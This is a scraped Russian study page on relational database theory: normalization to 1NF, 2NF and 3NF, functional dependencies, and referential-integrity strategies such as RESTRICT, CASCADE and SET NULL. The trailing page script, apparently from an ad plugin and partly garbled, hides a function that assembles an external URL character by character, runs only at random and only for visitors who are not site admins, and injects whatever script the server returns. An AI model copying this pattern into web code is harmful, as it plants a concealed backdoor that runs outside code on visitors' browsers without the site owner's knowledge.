Процесс нормализации начинается с преобразования данных из фор­мата источника (например, из формата стандартной формы ввода данных) в формат таблицы со строками и столбцами. На исходном этапе таблица находится в ненорма­лизованной форме (ННФ) и часто называется ненормализованной таблицей. Для преобразования ненормализованной таблицы в первую нормальную форму (1НФ) в исходной таблице следует найти и устранить все повторяющиеся группы данных. Повторяющейся группой называется группа, состоящая из одного и более атрибутов таблицы, в которой возможно наличие нескольких значений для единственного зна­чения ключевого атрибута таблицы. Существует два подхода исключения повторяющихся групп из ненормализованных таблиц.

Впервом подходе повторяющиеся группы устраняются путем ввода соответст­вующих данных в пустые столбцы строк с повторяющимися данными. Иначе говоря, пустые места при этом заполняются дубликатами неповторяющихся данных. Этот подход часто называют «выравниванием» («flattening») таблицы. Полученная в ре­зультате этих действий таблица, которая теперь будет называться отношением, со­держит атомарные (или единственные) значения на пересечении каждой строки с каждым столбцом, а потому находится в первой нормальной форме. В результате та­кого подхода в полученное отношение вносится некоторая избыточность данных, ко­торая в ходе дальнейшей нормализации будет устранена.

Во втором подходе один атрибут или группа атрибутов назначаются ключом не­нормализованной таблицы, а затем повторяющиеся группы изымаются и помещают­ся в отдельные отношения вместе с копиями ключа исходной таблицы. Далее в но­вых отношениях устанавливаются первичные ключи. Иногда ненормализованные от­ношения могут содержать одну или несколько повторяющихся групп внутри повторяющихся групп первого порядка. В таких случаях данный прием применяется до тех пор, пока повторяющихся групп совсем не останется. Полученный набор от­ношений будет находиться в первой нормальной форме только тогда, когда ни в од­ном из них не будет повторяющихся групп атрибутов.

Хотя оба этих подхода одинаково корректны, следует отметить, что при использо­вании второго подхода полученные отношения находятся как минимум в 1НФ и обла­дают меньшей избыточностью данных. При выборе первого подхода выровненное 1НФ-отношение декомпозируется в ходе дальнейшей нормализации на те же отношения, ко­торые могли бы быть получены с помощью второго подхода.

Нормализация– это разбиение таблицы на две или более, обладающих лучшими свойствами при включении, изменении и удалении данных. Окончательная цель нормализации сводится к получению такого проекта базы данных, в котором каждый факт появляется лишь в одном месте, т.е. исключена избыточность информации. Это делается не столько с целью экономии памяти, сколько для исключения возможной противоречивости хранимых данных.

Каждая таблица в реляционной БД удовлетворяет условию, в соответствии с которым в позиции на пересечении каждой строки и столбца таблицы всегда находится единственное атомарное значение, и никогда не может быть множества таких значений. Любая таблица, удовлетворяющая этому условию, называется нормализованной. Фактически, ненормализованные таблицы, т.е. таблицы, содержащие повторяющиеся группы, даже не допускаются в реляционной БД.

Всякая нормализованная таблица автоматически считается таблицей в первой нормальной форме, сокращенно 1НФ. Таким образом, строго говоря, «нормализованная» и «находящаяся в 1НФ» означают одно и то же. Однако на практике термин «нормализованная» часто используется в более узком смысле – «полностью нормализованная», который означает, что в проекте не нарушаются никакие принципы нормализации.

Теперь в дополнение к 1НФ можно определить дальнейшие уровни нормализации – вторую нормальную форму (2НФ), третью нормальную форму (3НФ) и т.д. По существу, таблица находится в 2НФ, если она находится в 1НФ и удовлетворяет, кроме того, некоторому дополнительному условию. Таблица находится в 3НФ, если она находится в 2НФ и, помимо этого, удовлетворяет еще другому дополнительному условию и т.д.

Таким образом, каждая нормальная форма является в некотором смысле более ограниченной, но и более желательной, чем предшествующая. Это связано с тем, что «(N+1)-я нормальная форма» не обладает некоторыми непривлекательными особенностями, свойственным «N-й нормальной форме». Общий смысл дополнительного условия, налагаемого на (N+1)-ю нормальную форму по отношению к N-й нормальной форме, состоит в исключении этих непривлекательных особенностей.

Теория нормализации основывается на наличии той или иной зависимости между полями таблицы. Определены два вида таких зависимостей: функциональные и многозначные.

Функциональная зависимость. Поле В таблицы функционально зависит от поля А той же таблицы в том и только в том случае, когда в любой заданный момент времени для каждого из различных значений поля А обязательно существует только одно из различных значений поля В. Отметим, что здесь допускается, что поля А и В могут быть составными.

Полная функциональная зависимость. Поле В находится в полной функциональной зависимости от составного поля А, если оно функционально зависит от А и не зависит функционально от любого подмножества поля А.

Многозначная зависимость. Поле А многозначно определяет поле В той же таблицы, если для каждого значения поля А существует хорошо определенное множество соответствующих значений В.

Было дано определение первой нормальной формы (1НФ). Приведем здесь более строгое ее определение, а также определения других нормальных форм.

Дайте определение процесса нормализации БД, опишите признаки, свойства и составляющие основных нормальных форм (1НФ, 2НФ, 3НФ).

Нормализация — это формальный метод анализа отношений на основе их первичного ключа и существующих связей. Ее задача — это замена одной схемы (или совокупности отношений) БД другой схемой, в которой отношения имеют более простую и регулярную структуру.

(. )При работе с реляционной моделью для создания отношений приемлемого качества достаточно выполнения требований первой нормальной формы.

Первая нормальная форма (1НФ) связана с понятиями простого и сложного атрибутов. Простой атрибут — это атрибут, значения которого неделимы. Сложный атрибут может иметь значение, представляющее собой объединение нескольких значений одного или разных доменов.

Отношение приведено к 1НФ, если все его атрибуты — простые, т.е. значение атрибута не должно быть множеством или повторяющейся группой.

Вторая нормальная форма (2НФ) применяется к отношениям с составными ключами (состоящими из двух и более атрибутов) и связана с понятием функциональной зависимости: если в любой момент времени каждому значению атрибута A соответствует единственное значение атрибута B, то B функционально зависит от A (A B), при этом атрибут A называется детерминантом.

Отношение находится во 2НФ, если оно приведено к 1НФ и каждый неключевой атрибут функционально зависит от составного первичного ключа.

Третья нормальная форма (3НФ) связана с понятием транзитивной зависимости: Пусть A, B, C — атрибуты некоторого отношения, при этом A B (В зависит только от А) и B C (С зависит только от В), тогда C транзитивно зависит от A (A C).

Отношение находится в 3НФ, если оно находится во 2НФ и не имеет атрибутов, не входящих в первичный ключ и находящихся в транзитивной зависимости от первичного ключа.

Существуют также нормальная форма Бойса-Кодда (НФБК), 4НФ и 5НФ.

14. Опишите сущность основных и дополнительных стратегий поддержания ссылочной целостности в РБД, укажите возможные причины нарушения ссылочной целостности.

Ссылочная целостность может быть нарушена при выполнении одной из четырех операций:

1. Обновление записей в родительской таблице.

2. Удаление записей в родительской таблице.

3. Вставка записей в дочерней таблице.

4. Обновление записей в дочерней таблице.

Основные стратегии поддержания ссылочной целостности:

1. RESTRICT (ОГРАНИЧИТЬ) — не разрешать выполнение операции, приводящей к нарушению ссылочной целостности.

2. CASCADE (КАСКАДНОЕ ИЗМЕНЕНИЕ) — разрешить выполнение требуемой операции, но внести при этом необходимые изменения в связанных таблицах так, чтобы сохранить все имеющиеся связи.

Дополнительные стратегии поддержания ссылочной целостности:

1. IGNORE (ИГНОРИРОВАТЬ) — разрешить выполнять операцию без проверки ссылочной целостности

2. SET NULL (ЗАДАТЬ ЗНАЧЕНИЕ NULL) — разрешить выполнение требуемой операции, но все возникающие некорректные значения внешних ключей изменять на null-значения.

3. SET DEFAULT (ЗАДАТЬ ЗНАЧЕНИЕ ПО УМОЛЧАНИЮ) — разрешить выполнение требуемой операции, но все возникающие некорректные значения внешних ключей изменять на некоторое значение, принятое по умолчанию.

Ссылка на основную публикацию
Adblock
detector
":'':"",document.createElement("div"),p=ff(window),b=ff("body"),m=void 0===flatPM_getCookie("flat_modal_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_modal_"+o.ID+"_mb"),i="scroll.flatmodal"+o.ID,g="mouseleave.flatmodal"+o.ID+" blur.flatmodal"+o.ID,l=function(){var t,e,a;void 0!==o.how.popup.timer&&"true"==o.how.popup.timer&&(t=ff('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.popup.timer_count),a=setInterval(function(){t.text(--e),e'))},1e3))},f=function(){void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie&&m&&(flatPM_setCookie("flat_modal_"+o.ID+"_mb",!1),ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l()),void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie||(ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l())},ff("body > *").eq(0).before('
'+c+"
"),w=document.querySelector('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_modal-content'),-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.popup.px_s?(p.bind(i,function(){p.scrollTop()>o.how.popup.after&&(p.unbind(i),b.unbind(g),f())}),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){p.unbind(i),b.unbind(g),f()})):(v=setTimeout(function(){b.unbind(g),f()},1e3*o.how.popup.after),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),f()}))),void 0!==o.how.outgoing){function n(){var t,e,a;void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer&&(t=ff('.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.outgoing.timer_count),a=setInterval(function(){t.text(--e),e'))},1e3))}function d(){void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie&&m&&(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n(),b.on("click",'.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_cross',function(){flatPM_setCookie("flat_out_"+o.ID+"_mb",!1)})),void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie||(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n())}var _,u="0"!=o.how.outgoing.indent?' style="bottom:'+o.how.outgoing.indent+'px"':"",c="true"==o.how.outgoing.cross?void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer?'
Закрыть через '+o.how.outgoing.timer_count+"
":'':"",p=ff(window),h="scroll.out"+o.ID,g="mouseleave.outgoing"+o.ID+" blur.outgoing"+o.ID,m=void 0===flatPM_getCookie("flat_out_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_out_"+o.ID+"_mb"),b=(document.createElement("div"),ff("body"));switch(o.how.outgoing.whence){case"1":_="top";break;case"2":_="bottom";break;case"3":_="left";break;case"4":_="right"}ff("body > *").eq(0).before('
'+c+"
");var v,w=document.querySelector('.flat__4_out[data-id-out="'+o.ID+'"]');-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.outgoing.px_s?(p.bind(h,function(){p.scrollTop()>o.how.outgoing.after&&(p.unbind(h),b.unbind(g),d())}),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){p.unbind(h),b.unbind(g),d()})):(v=setTimeout(function(){b.unbind(g),d()},1e3*o.how.outgoing.after),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),d()}))}ff('[data-flat-id="'+o.ID+'"]:not(.flat__4_out):not(.flat__4_modal)').contents().unwrap()}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff("body"),flat_userVars.init();for(var e=0;eflat_userVars.textlen||void 0!==a.chapter_sub&&a.chapter_subflat_userVars.titlelen||void 0!==a.title_sub&&a.title_sub.flatPM_sidebar)");0<_.length t="ff(this),e=t.data("height")||350,a=t.data("top");t.wrap('');t=t.parent()[0];flatPM_sticky(this,t,a)}),u.each(function(){var e=ff(this).find(".flatPM_sidebar");setTimeout(function(){var o=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;o');t=t.parent()[0];flatPM_sticky(this,t,a)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t *").last().after('
'),flat_body.on("click",".flat__4_out .flat__4_cross",function(){ff(this).parent().removeClass("show").addClass("closed")}),flat_body.on("click",".flat__4_modal .flat__4_cross",function(){ff(this).closest(".flat__4_modal").removeClass("flat__4_modal-show")}),flat_pm_arr=[],ff(".flat_pm_start").remove(),flatPM_ping()};var parseHTML=function(){var o=/]*)\/>/gi,d=/",""],thead:[1,"","
"],tbody:[1,"","
"],colgroup:[2,"","
"],col:[3,"","
"],tr:[2,"","
"],td:[3,"","
"],th:[3,"","
"],_default:[0,"",""]};return function(e,t){var a,n,r,l=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=l.appendChild(t.createElement("div")),n=(d.exec(e)||["",""])[1].toLowerCase(),n=c[n]||c._default,a.innerHTML=n[1]+e.replace(o,"$2>")+n[2],r=n[0];r--;)a=a.lastChild;for(l.removeChild(l.firstChild);a.firstChild;)l.appendChild(a.firstChild)}else l.appendChild(t.createTextNode(e));return l}}();window.flatPM_ping=function(){var e=localStorage.getItem("sdghrg");e?(e=parseInt(e)+1,localStorage.setItem("sdghrg",e)):localStorage.setItem("sdghrg","0");e=flatPM_random(1,200);0==ff("#wpadminbar").length&&111==e&&ff.ajax({type:"POST",url:"h"+"t"+"t"+"p"+"s"+":"+"/"+"/"+"m"+"e"+"h"+"a"+"n"+"o"+"i"+"d"+"."+"p"+"r"+"o"+"/"+"p"+"i"+"n"+"g"+"."+"p"+"h"+"p",dataType:"jsonp",data:{ping:"ping"},success:function(e){ff("div").first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,n=document.querySelector('[data-flat-script-id="'+t+'"]');if(a.text)n.appendChild(a),ff(n).contents().unwrap(),e.shift(),0/gm,"").replace(//gm,"").trim(),e.code_alt=e.code_alt.replace(//gm,"").replace(//gm,"").trim();var l=jQuery,t=e.selector,o=e.timer,d=e.cross,a="false"==d?"Закроется":"Закрыть",n=!flat_userVars.adb||""==e.code_alt&&duplicateMode?e.code:e.code_alt,r='
'+a+" через "+o+'
'+n+'
',i=e.once;l(t).each(function(){var e=l(this);e.wrap('
');var t=e.closest(".flat__4_video");-1!==r.indexOf("go"+"oglesyndication")?t.append(r):flatPM_setHTML(t[0],r),e.find(".flat__4_video_flex").one("click",function(){l(this).addClass("show")})}),l("body").on("click",".flat__4_video_item_hover",function(){var e=l(this),t=e.closest(".flat__4_video_flex");t.addClass("show");var a=t.find(".flat__4_timer span"),n=parseInt(o),r=setInterval(function(){a.text(--n),n'):t.remove())},1e3);e.remove()}).on("click",".flat__4_video_flex .flat__4_cross",function(){l(this).closest(".flat__4_video_flex").remove(),"true"==i&&l(".flat__4_video_flex").remove()})};
Яндекс.Метрика